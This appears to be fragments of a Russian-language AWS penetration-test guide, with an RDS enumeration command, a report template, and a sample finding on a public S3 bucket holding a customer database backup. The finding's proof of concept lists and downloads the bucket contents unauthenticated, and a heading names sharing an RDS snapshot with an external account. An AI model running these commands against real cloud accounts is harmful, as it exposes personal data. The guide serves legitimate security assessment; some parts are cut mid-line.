<h2 id="sozdanie-snapshota-rds-i-sharing-s-vneshnim-akkauntom">Создание снапшота RDS и шаринг с внешним аккаунтом</h2>

<h2 id="dlya-demonstratsii-vozmozhnosti-bez-realnoy-peredachi-dannyh">(для демонстрации возможности без реальной передачи данных)</h2>

aws rds describe-db-instances --profile pentest-target \

  --query "DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]"

. EXECUTIVE SUMMARY (1–2 страницы)

   ├── Краткое описание объекта тестирования

   ├── Общее резюме рисков (Critical/High/Medium/Low count)

   ├── Топ-3 наиболее критичные находки

   └── Общий вывод о защищённости инфраструктуры



2. METHODOLOGY (1 страница)

   ├── Тип тестирования (black/grey/white box)

   ├── Период проведения

   ├── Используемые инструменты и методологии

   └── Ограничения (что не проверялось и почему)



3. FINDINGS (основная часть)

   └── Каждая находка по шаблону (см. ниже)



4. APPENDIX

   ├── Полные логи и скриншоты

   ├── Хеши артефактов (SHA-256)

   └── Конфигурации использованных инструментов

-001: Публично открытый S3 bucket с конфиденциальными данными



Критичность: CRITICAL (CVSS 9.8)

Сервис: AWS S3

Bucket: company-backups-prod



Описание:

Bucket company-backups-prod доступен для чтения без аутентификации.

В bucket обнаружены резервные копии базы данных клиентов (2.3 ГБ),

содержащие персональные данные ~50 000 пользователей.



Доказательство (Proof of Concept):

$ aws s3 ls s3://company-backups-prod --no-sign-request

$ aws s3 cp s3://company-backups-prod/backup_2026.sql.gz . --no-sign-request



Воздействие на бизнес:

Любой пользователь интернета может скачать полный дамп базы данных клиентов.

Нарушение требований 152-ФЗ (утечка персональных данных).

Потенциальный штраф Роскомнадзора. Репутационный ущерб.



Рекомендации по устранению:

1. Немедленно: включить Block Public Access на уровне bucket

   aws s3api put-public-access-block --bucket company-backups-prod

   --public-access-block-configuration '{"BlockPublicAcls":true,...}'

2. Краткосрочно: перенести bucket за VPC endpoint

3. Долгосрочно: внедрить AWS Macie для автоматического обнаружения

   чувствительных данных в S3



Дата обнаружения: 2026-02-15 14:32 UTC

Артефакты: screenshots/vuln001_s3_listing.png (SHA-256: a3f5...)

<h2 id="sha-256-heshi-vseh-skrinshotov-i-artefaktov">SHA-256 хеши всех скриншотов и артефактов</h2>

find ./pentest-artifacts/ -type f -exec sha256sum {} \; > artifacts_hashes.txt



<h2 id="verifikatsiya-tselostnosti">Верификация целостности</h2>

sha256sum -c artifacts_hashes.txt